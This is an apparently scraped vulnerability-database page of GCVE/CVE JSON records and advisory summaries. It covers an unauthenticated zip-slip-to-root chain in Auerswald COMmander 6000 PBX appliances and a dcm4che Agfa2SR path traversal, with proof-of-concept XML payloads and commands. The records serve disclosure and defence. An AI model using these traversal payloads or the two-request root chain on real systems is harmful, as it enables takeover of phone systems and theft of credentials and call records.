        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/18"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/rainbowfish-pacsone-stowrs-sop-instance-uid-traversal-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2018-25124",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0489",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/18",
            "automated": true,
            "contentSha256": "7995b0839525b668ec4af50e8bce07a1e6503eae6d9016b9ed9fa9d6cf822398",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-13T02:22:16Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0489"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:02Z",
    "dateUpdated": "2026-11-02T07:30:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0489"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0484

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Auerswald COMmander 6000 and COMmander 6000R, firmware 8.6D build 128154, the closed-source enterprise IP-PBX and unified-communications appliances from Auerswald (Germany). Two unauthenticated HTTP requests, carrying no cookie and no credential of any kind, yield uid=0(root) gid=0(root) groups=0(root) on an appliance that holds extension credentials, SIP trunk credentials, call detail records and voicemail for every user it serves. Type and root cause. CWE-22, path traversal in the zip-slip form, inside a root archive extraction; CWE-73, CWE-434, CWE-862 and CWE-250 contribute. The finding is explicitly not classified as CWE-78, and this is worth stating because it changes the fix: no command string is injected at either hop, and every argument to every observed execve is either a compile-time constant or a value that passed the product's own whitelist legitimately. Escaping and character whitelisting are already implemented correctly in this product. The missing controls are archive containment and route authorization, and a command-injection patch would close nothing. The chain has two hops and both are needed. Hop 1 is the write primitive: the unauthenticated route /provisioning_data_import stores one multipart/form-data part at /data/provisioning/import/<basename> and then spawns, as root, posix_spawn("../minizip/miniunz", "-o", "-x", <zip>, "-d", "/data/provisioning/import/") captured verbatim from the syscall trace of the product's own process. Neither the application nor the bundled extractor inspects archive entry names, so an entry named ../../../opt/auerswald/hping2 escapes the extraction directory and overwrites a root-owned mode-0755 binary with attacker bytes. Because the write truncates an existing file, the original permission bits survive and the result is immediately executable; there is no separate chmod primitive and none is needed. The -o flag is what makes the replacement silent, converting the extractor's refuse-to-clobber default into clobber-without-prompt. Hop 2 is the consumer: a second unauthenticated request to /netdiagnostic_execute makes root run /bin/sh -c "/opt/auerswald/hping2 -1 -I eth0 -c 3 <target> -p <port>" The diagnostics handler validates the target argument against the charset 0-9A-Za-z.-:/ and that whitelist works as intended; what it cannot protect is the bytes sitting at a path that appears as a compile-time constant in the command. The kernel honours the attacker's #!/bin/sh shebang, and the payload's stdout is captured into the HTTP response body, so the result is read back directly and no out-of-band channel is involved. Both handlers live in the vendor's own in-house FastCGI application, a 3,498,560-byte binary started by init as root behind a stock lighttpd 1.4.64 on an ARM32 glibc embedded Linux userland, which never drops privilege. The rootfs contains no suid or sgid binary at all, so there is no privilege boundary between the web application and the operating system. How confirmation works. Request 1 is a multipart POST whose part name is equal to the filename. That is the vendor's own client contract, recovered from the shipped JavaScript, which appends the file object to a FormData under the file's own name; requests built the conventional way with a fixed field name are rejected by the application's parser, and that failure is indistinguishable from "the server filters uploads" unless the client is read. Request 2 is an ordinary urlencoded diagnostics POST. The payload echoes a run-unique token plus the uid and user name to stdout, which the handler returns in the response body, and appends the output of id to a marker file under /data/log. The published advisory prints the identity string and the landing paths but deliberately not the per-run token or a marker filename from a specific run, since both are artefacts of one execution on one testbed. What was deliberately not reproduced. No persistence was installed. The same write primitive reaches the init-respawned service scripts under /opt/auerswald/scripts/run-*, the lighttpd configuration and the web document root; those targets are named as statically available so that a defender can scope an incident, and none was fired. No configuration database, certificate, private key, credential or call record was read or removed, and no destructive, encrypting or exfiltrating payload is published. One elegant approach was tried and does not work, which is recorded here because it is a reproduction trap: overwriting the extractor itself so that the next import request executes the payload. The slip write happens inside the currently executing extractor process, the target file ends up zero bytes long, and the next invocation fails with ENOEXEC. The doctrine that follows is to never overwrite a binary that is executing the write. A correction to our own earlier reading of this chain, published because it was wrong and a maintainer could otherwise chase it. During this work we hypothesised that the rejections of conventionally built uploads were caused by the web server not spooling request bodies to an upload directory, rather than by the part name. That hypothesis is withdrawn. mod_fastcgi forwards the body to the backend over the FastCGI STDIN stream whether or not it spools to disk, the application parses that stream itself, and once the part name matched the filename the bytes were stored correctly on the first attempt. Nothing about the web server configuration was blocking the upload, and a change that added an upload directory directive would not have altered the outcome. Scoring. One score is published: 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The Impact Sub-Score is 1 - 0.44^3 = 0.914816, Impact under Scope Unchanged is 6.42 * 0.914816 = 5.873119, Exploitability is 8.22 * 0.85 * 0.77 * 0.85 * 0.85 = 3.887043, and the sum 9.760162 rounds up to 9.8 under the CVSS ceiling-to-tenth rule. An alternative reading is argued in the advisory and not adopted as the headline: Scope Changed. A network-facing management service yielding host-wide root on an appliance that also holds call records, extension credentials and a managed phone fleet is the kind of outcome Scope Changed was written to express, and AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H computes to 10.0 - the Scope-Changed impact term is 6.128026, exploitability is unchanged at 3.887043, the sum times 1.08 exceeds the maximum and is capped. We publish Scope Unchanged because of one fact: the application is already uid 0 by design, and the rootfs contains no suid or sgid binary because the vendor's design never needed one, so there is no authority boundary between the web component and the telephony component for the chain to cross. It exercises, through a defect, an authority the vulnerable component already held. Publishing 10.0 would attribute a boundary crossing this product's architecture does not have, and would obscure the more useful message to the maintainer: the privilege separation that would make Scope Unchanged the comfortable answer is itself a fix worth making. AC:L is a decision, not a default. There is no race, no timing window, no memory-layout dependency, no on-path position, no brute force and no dependency on the hardware abstraction layer, and the chain was demonstrated twice, in the freshly initialised state and again in a tightened state described below. The one non-obvious requirement, the part-name-equals-filename contract, is attacker-side correctness recoverable from the vendor's own shipped client rather than an environmental condition. Amplifier facts observed elsewhere in the image - an empty root password field in /etc/passwd with no /etc/shadow in this image, the telnet facility behind an AccessLevel 6 route, a site-wide unsafe-inline CSP, an unenforced client certificate on the provisioning socket - are kept out of the arithmetic and reported separately, because folding them in would inflate the vector. No CVSS figure was recorded alongside the verification, so there is no recorded number for this vector to disagree with. Authentication: none, and that is proven rather than assumed. Both routes are declared AccessLevel 2 in the product's own route table and both answered 200 to a request carrying no Cookie header and no Authorization header, not an expired session but no session material at all. The route table in .data holds 750 named entries, and the product's gate - one session and credential evaluator at 0x15958, which is the sole caller of the access check at 0xf5d68 - covers the service-technician family (AccessLevel 4), the DAA/daemon family (AccessLevel 6), the two packet-capture routes registered under those families and one login route: twelve of 750. The remaining 738 answer 200 to a cookie-less request, and more than forty of them were sampled during mapping, each returning live configuration data or performing a state change. lighttpd contributes nothing to authorization: its FastCGI configuration sends every URL to the backend socket, and three probes with no referer, with the ip-editor referer and with an unrelated referer produced no access difference. The strongest internal evidence that this is a systemic coverage gap rather than two unlucky omissions sits on a single shared handler. FUNC 0x3b018, which streams a packet capture back to the caller, is registered three times under three names: ethernettrace.pcap at declared level 2 answers 200, starts a root tcpdump on eth0 with snaplen 9018 and streams the capture to the requesting client, while servicetrace.pcap at level 4 and daemontools.pcap at level 6 both answer 401. Same function address, same code, opposite outcome, so authorization in this product is attached to route families rather than to the operations those routes expose. What was not broken is credited explicitly. The login route is fail-closed: four password values across four parameter alias sets each produced an empty cookie. The vendor service-technician challenge is not forgeable from the image because verification is public-key only, against two DER SubjectPublicKeyInfo blobs shipped in the firmware, and the device holds no private key; the response space is also only 65536 wide with a four-attempt lockout, so it is not brute-forceable either. The ForceAdmin and BEARER branches of the session evaluator were not read instruction by instruction, so no claim is made about them in either direction - unexamined is not disproved, and this chain does not depend on them. The declared AccessLevel value in the route table is not the enforced level, and the product's own data proves it: the DAA login route is recorded at level 0 and answers 401. We do not claim that all 738 unguarded routes are individually dangerous; we map the population and prove the two members this chain needs. Impact: complete control of a device that terminates and records every call it serves. Root here means the SIP stack, the voicemail and voice-mail distribution components, the DSP channel configuration, trunk configuration and every extension the appliance serves, so calls can be placed, redirected, recorded or dropped. The configuration database under /data/db/ carries fields including cryptPasswd, passwd, passwdLdap, AdminPasswd, AdminPasswdHash, passwordHash and remote_access_token; user certificate private keys sit under /data/certs/user-certs; SIP trunk and gateway credentials live in the provisioning data; and toll fraud is the standard real-world monetisation of exactly this position, usually discovered on an invoice rather than through a security alert. Call detail records, billing structures and voicemail content for every user become readable - who called whom, when, for how long and at what cost - which for an organisation whose calls carry customer, legal, medical or financial content is a reportable data-breach event. The appliance auto-provisi
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
Auerswald COMmander 6000 Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "COMmander 6000",
          "vendor": "Auerswald",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Auerswald\nCOMmander 6000 and COMmander 6000R, firmware 8.6D build 128154, the\nclosed-source enterprise IP-PBX and unified-communications appliances from\nAuerswald (Germany). Two unauthenticated HTTP requests, carrying no cookie and\nno credential of any kind, yield uid=0(root) gid=0(root) groups=0(root) on an\nappliance that holds extension credentials, SIP trunk credentials, call detail\nrecords and voicemail for every user it serves.\n\nType and root cause. CWE-22, path traversal in the zip-slip form, inside a\nroot archive extraction; CWE-73, CWE-434, CWE-862 and CWE-250 contribute. The\nfinding is explicitly not classified as CWE-78, and this is worth stating\nbecause it changes the fix: no command string is injected at either hop, and\nevery argument to every observed execve is either a compile-time constant or a\nvalue that passed the product\u0027s own whitelist legitimately. Escaping and\ncharacter whitelisting are already implemented correctly in this product. The\nmissing controls are archive containment and route authorization, and a\ncommand-injection patch would close nothing.\n\nThe chain has two hops and both are needed. Hop 1 is the write primitive: the\nunauthenticated route /provisioning_data_import stores one multipart/form-data\npart at /data/provisioning/import/\u003cbasename\u003e and then spawns, as root,\n\n    posix_spawn(\"../minizip/miniunz\", \"-o\", \"-x\", \u003czip\u003e, \"-d\",\n                \"/data/provisioning/import/\")\n\ncaptured verbatim from the syscall trace of the product\u0027s own process. Neither\nthe application nor the bundled extractor inspects archive entry names, so an\nentry named ../../../opt/auerswald/hping2 escapes the extraction directory and\noverwrites a root-owned mode-0755 binary with attacker bytes. Because the write\ntruncates an existing file, the original permission bits survive and the result\nis immediately executable; there is no separate chmod primitive and none is\nneeded. The -o flag is what makes the replacement silent, converting the\nextractor\u0027s refuse-to-clobber default into clobber-without-prompt. Hop 2 is the\nconsumer: a second unauthenticated request to /netdiagnostic_execute makes root\nrun\n\n    /bin/sh -c \"/opt/auerswald/hping2 -1 -I eth0  -c 3 \u003ctarget\u003e -p \u003cport\u003e\"\n\nThe diagnostics handler validates the target argument against the charset\n0-9A-Za-z.-:/ and that whitelist works as intended; what it cannot protect is\nthe bytes sitting at a path that appears as a compile-time constant in the\ncommand. The kernel honours the attacker\u0027s #!/bin/sh shebang, and the payload\u0027s\nstdout is captured into the HTTP response body, so the result is read back\ndirectly and no out-of-band channel is involved. Both handlers live in the\nvendor\u0027s own in-house FastCGI application, a 3,498,560-byte binary started by\ninit as root behind a stock lighttpd 1.4.64 on an ARM32 glibc embedded Linux\nuserland, which never drops privilege. The rootfs contains no suid or sgid\nbinary at all, so there is no privilege boundary between the web application\nand the operating system.\n\nHow confirmation works. Request 1 is a multipart POST whose part name is equal\nto the filename. That is the vendor\u0027s own client contract, recovered from the\nshipped JavaScript, which appends the file object to a FormData under the\nfile\u0027s own name; requests built the conventional way with a fixed field name\nare rejected by the application\u0027s parser, and that failure is indistinguishable\nfrom \"the server filters uploads\" unless the client is read. Request 2 is an\nordinary urlencoded diagnostics POST. The payload echoes a run-unique token\nplus the uid and user name to stdout, which the handler returns in the response\nbody, and appends the output of id to a marker file under /data/log. The\npublished advisory prints the identity string and the landing paths but\ndeliberately not the per-run token or a marker filename from a specific run,\nsince both are artefacts of one execution on one testbed.\n\nWhat was deliberately not reproduced. No persistence was installed. The same\nwrite primitive reaches the init-respawned service scripts under\n/opt/auerswald/scripts/run-*, the lighttpd configuration and the web document\nroot; those targets are named as statically available so that a defender can\nscope an incident, and none was fired. No configuration database, certificate,\nprivate key, credential or call record was read or removed, and no destructive,\nencrypting or exfiltrating payload is published. One elegant approach was tried\nand does not work, which is recorded here because it is a reproduction trap:\noverwriting the extractor itself so that the next import request executes the\npayload. The slip write happens inside the currently executing extractor\nprocess, the target file ends up zero bytes long, and the next invocation fails\nwith ENOEXEC. The doctrine that follows is to never overwrite a binary that is\nexecuting the write.\n\nA correction to our own earlier reading of this chain, published because it was\nwrong and a maintainer could otherwise chase it. During this work we\nhypothesised that the rejections of conventionally built uploads were caused by\nthe web server not spooling request bodies to an upload directory, rather than\nby the part name. That hypothesis is withdrawn. mod_fastcgi forwards the body\nto the backend over the FastCGI STDIN stream whether or not it spools to disk,\nthe application parses that stream itself, and once the part name matched the\nfilename the bytes were stored correctly on the first attempt. Nothing about\nthe web server configuration was blocking the upload, and a change that added\nan upload directory directive would not have altered the outcome.\n\nScoring. One score is published: 9.8 Critical,\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The Impact Sub-Score is\n1 - 0.44^3 = 0.914816, Impact under Scope Unchanged is 6.42 * 0.914816 =\n5.873119, Exploitability is 8.22 * 0.85 * 0.77 * 0.85 * 0.85 = 3.887043, and\nthe sum 9.760162 rounds up to 9.8 under the CVSS ceiling-to-tenth rule.\n\nAn alternative reading is argued in the advisory and not adopted as the\nheadline: Scope Changed. A network-facing management service yielding host-wide\nroot on an appliance that also holds call records, extension credentials and a\nmanaged phone fleet is the kind of outcome Scope Changed was written to\nexpress, and AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H computes to 10.0 - the\nScope-Changed impact term is 6.128026, exploitability is unchanged at\n3.887043, the sum times 1.08 exceeds the maximum and is capped. We publish\nScope Unchanged because of one fact: the application is already uid 0 by\ndesign, and the rootfs contains no suid or sgid binary because the vendor\u0027s\ndesign never needed one, so there is no authority boundary between the web\ncomponent and the telephony component for the chain to cross. It exercises,\nthrough a defect, an authority the vulnerable component already held.\nPublishing 10.0 would attribute a boundary crossing this product\u0027s architecture\ndoes not have, and would obscure the more useful message to the maintainer: the\nprivilege separation that would make Scope Unchanged the comfortable answer is\nitself a fix worth making.\n\nAC:L is a decision, not a default. There is no race, no timing window, no\nmemory-layout dependency, no on-path position, no brute force and no dependency\non the hardware abstraction layer, and the chain was demonstrated twice, in the\nfreshly initialised state and again in a tightened state described below. The\none non-obvious requirement, the part-name-equals-filename contract, is\nattacker-side correctness recoverable from the vendor\u0027s own shipped client\nrather than an environmental condition. Amplifier facts observed elsewhere in\nthe image - an empty root password field in /etc/passwd with no /etc/shadow in\nthis image, the telnet facility behind an AccessLevel 6 route, a site-wide\nunsafe-inline CSP, an unenforced client certificate on the provisioning socket -\nare kept out of the arithmetic and reported separately, because folding them in\nwould inflate the vector. No CVSS figure was recorded alongside the\nverification, so there is no recorded number for this vector to disagree with.\n\nAuthentication: none, and that is proven rather than assumed. Both routes are\ndeclared AccessLevel 2 in the product\u0027s own route table and both answered 200\nto a request carrying no Cookie header and no Authorization header, not an\nexpired session but no session material at all. The route table in .data holds\n750 named entries, and the product\u0027s gate - one session and credential\nevaluator at 0x15958, which is the sole caller of the access check at 0xf5d68 -\ncovers the service-technician family (AccessLevel 4), the DAA/daemon family\n(AccessLevel 6), the two packet-capture routes registered under those families\nand one login route: twelve of 750. The remaining 738 answer 200 to a\ncookie-less request, and more than forty of them were sampled during mapping,\neach returning live configuration data or performing a state change. lighttpd\ncontributes nothing to authorization: its FastCGI configuration sends every URL\nto the backend socket, and three probes with no referer, with the ip-editor\nreferer and with an unrelated referer produced no access difference.\n\nThe strongest internal evidence that this is a systemic coverage gap rather than\ntwo unlucky omissions sits on a single shared handler. FUNC 0x3b018, which\nstreams a packet capture back to the caller, is registered three times under\nthree names: ethernettrace.pcap at declared level 2 answers 200, starts a root\ntcpdump on eth0 with snaplen 9018 and streams the capture to the requesting\nclient, while servicetrace.pcap at level 4 and daemontools.pcap at level 6 both\nanswer 401. Same function address, same code, opposite outcome, so\nauthorization in this product is attached to route families rather than to the\noperations those routes expose.\n\nWhat was not broken is credited explicitly. The login route is fail-closed:\nfour password values across four parameter alias sets each produced an empty\ncookie. The vendor service-technician challenge is not forgeable from the image\nbecause verification is public-key only, against two DER SubjectPublicKeyInfo\nblobs shipped in the firmware, and the device holds no private key; the\nresponse space is also only 65536 wide with a four-attempt lockout, so it is\nnot brute-forceable either. The ForceAdmin and BEARER branches of the session\nevaluator were not read instruction by instruction, so no claim is made about\nthem in either direction - unexamined is not disproved, and this chain does not\ndepend on them. The declared AccessLevel value in the route table is not the\nenforced level, and the product\u0027s own data proves it: the DAA login route is\nrecorded at level 0 and answers 401. We do not claim that all 738 unguarded\nroutes are individually dangerous; we map the population and prove the two\nmembers this chain needs.\n\nImpact: complete control of a device that terminates and records every call it\nserves. Root here means the SIP stack, the voicemail and voice-mail\ndistribution components, the DSP channel configuration, trunk configuration and\nevery extension the appliance serves, so calls can be placed, redirected,\nrecorded or dropped. The configuration database under /data/db/ carries fields\nincluding cryptPasswd, passwd, passwdLdap, AdminPasswd, AdminPasswdHash,\npasswordHash and remote_access_token; user certificate private keys sit under\n/data/certs/user-certs; SIP trunk and gateway credentials live in the\nprovisioning data; and toll fraud is the standard real-world monetisation of\nexactly this position, usually discovered on an invoice rather than through a\nsecurity alert. Call detail records, billing structures and voicemail content\nfor every user become readable - who called whom, when, for how long and at what\ncost - which for an organisation whose calls carry customer, legal, medical or\nfinancial content is a reportable data-breach event. The appliance auto-provisi"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-250",
              "description": "CWE-250",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-434",
              "description": "CWE-434",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-73",
              "description": "CWE-73",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/13"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/auerswald-commander-provisioning-import-zip-slip-binary-hijack-root-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0484",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/13",
            "automated": true,
            "contentSha256": "90bd32a60dddb6a9db5288e380d35f5af6a5104470c7f965934f14043fbd4bcf",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-13T02:21:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:02Z",
    "dateUpdated": "2026-11-02T07:30:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0484"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0478

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
Summary
Advisory ID: SYSS-2026-080 Product: dcm4che Manufacturer: J4Care Affected Version(s): 5.35.0 Tested Version(s): 5.35.0 Risk Level: High Solution Status: Open Manufacturer Notification: 2026-08-06 Public Disclosure: 2026-10-13 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: and transmitting DICOM data (see [1]). The Agfa2SR command-line tool in dcm4che is vulnerable to a path traversal attack. An attacker who can supply an Agfa XML SR (Structured Report) file for processing with Agfa2SR can write files outside the configured output directory by injecting "../" sequences into the StudyInstanceUID field. This allows attackers to achieve arbitrary file write on the target system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Agfa2SR tool converts Agfa XML SR reports into DICOM or XML output files. It processes files containing reports delimited by <agfa:DiagnosticRadiologyReport>...</agfa:DiagnosticRadiologyReport> tags. Two path traversal vectors exist in the tool: Vector 1: getWriter path (Agfa2SR.java:268-271) When no XSLT stylesheet is configured (via the -x none flag), the report is written as XML. The StudyInstanceUID extracted from the input XML is used directly as the output filename without validation: private BufferedWriter getWriter(String outDir, String siuid) { return Files.newBufferedWriter( Paths.get(outDir, siuid + ".xml"), // NO path validation StandardCharsets.UTF_8); } Vector 2: DICOM output path (Agfa2SR.java:240) When an XSLT stylesheet is configured, the report is converted to DICOM and the filename is derived from DICOM attribute values via AttributesFormat.format(). The default format pattern is {0020000D} (StudyInstanceUID): File file = new File(outDir, format.format(attrs)); If an attacker provides an Agfa SR report XML containing <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID>, the resulting file path for Vector 1 resolves to: Paths.get(outDir, "../outside_agfa2sr.xml") which is the parent directory of outDir. For Vector 2, a StudyInstanceUID containing "../" in its DICOM attribute value similarly escapes the output directory via the format.format() substitution. A crafted Agfa SR report XML is straightforward to construct. It requires the START_OF_REPORT marker (<agfa:DiagnosticRadiologyReport), the StudyInstanceUID element containing the traversal payload, and an END_OF_REPORT marker (</agfa:DiagnosticRadiologyReport>). The agfa2sr binary processes such input without error. The root cause is the missing validation of the StudyInstanceUID and format.format() output before their use in file path operations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The path traversal (vector 1) can be demonstrated by creating an Agfa SR report with a path traversal payload in the StudyInstanceUID field. cat > report1.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://agfa.com";> <StudyInstanceUID>../outside_agfa2sr</StudyInstanceUID> <PatientName>Test^Patient</PatientName> </agfa:DiagnosticRadiologyReport> EOF The output directory for agfa2sr (in this example "/tmp/output") has to exist. Running agfa2sr with no XSLT, which triggers the "getWriter" path, writes the file "/tmp/outside_agfa2sr.xml" one directory level above the configured output directory. agfa2sr -x none -d /tmp/output report1.xml The path traversal (vector 2) allows writes to directies that do not already exist. The output directory (in this example "/tmp/output") has to exist. cat > report2.xml << 'EOF' <agfa:DiagnosticRadiologyReport xmlns:agfa="http://www.agfa.com/hc";> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <OrderDetails> <AccessionNumber>POC</AccessionNumber> <ReferringPhysician> <Name> <SingleByteName> <LastName>Doe</LastName> <FirstName>John</FirstName> </SingleByteName> </Name> </ReferringPhysician> <StudyDetails> <StudyInstanceUID>../outside_agfa2sr/poc</StudyInstanceUID> <StudyDescription>POC Scan</StudyDescription> <ReasonForStudy>Security testing</ReasonForStudy> </StudyDetails> </OrderDetails> <PatientDetails> <Name> <SingleByteName> <LastName>POC</LastName> <FirstName>Vector2</FirstName> </SingleByteName> </Name> <Id> <IdText>PAT001</IdText> <IdDomain>Hospital</IdDomain> </Id> <BirthDate>19800101</BirthDate> <Sex>M</Sex> </PatientDetails> <ReportDetails> <ReportStatus>Preliminary</ReportStatus> <InterpretationRecordDate>20260101</InterpretationRecordDate> <InterpretationRecordTime>120000</InterpretationRecordTime> <ReportBody>Path traversal PoC for SYSS-2026-080 Vector 2</ReportBody> </ReportDetails> </agfa:DiagnosticRadiologyReport> EOF Running agfa2sr with this report creates the file "../outside_agfa2sr/poc" outside the specified output directory in a new directory. agfa2sr -d /tmp/output report2.xml ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: SySS GmbH is not aware of a security update for the described issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-08-06: Vulnerability reported to manufacturer 2026-09-04: Vulnerability reported to manufacturer again 2026-10-13: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] dcm4che project website https://www.dcm4che.org/ [2] SySS Security Advisory SYSS-2026-080 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
Impacted products
Vendor Product Version
unknown dcm4che Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dcm4che",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
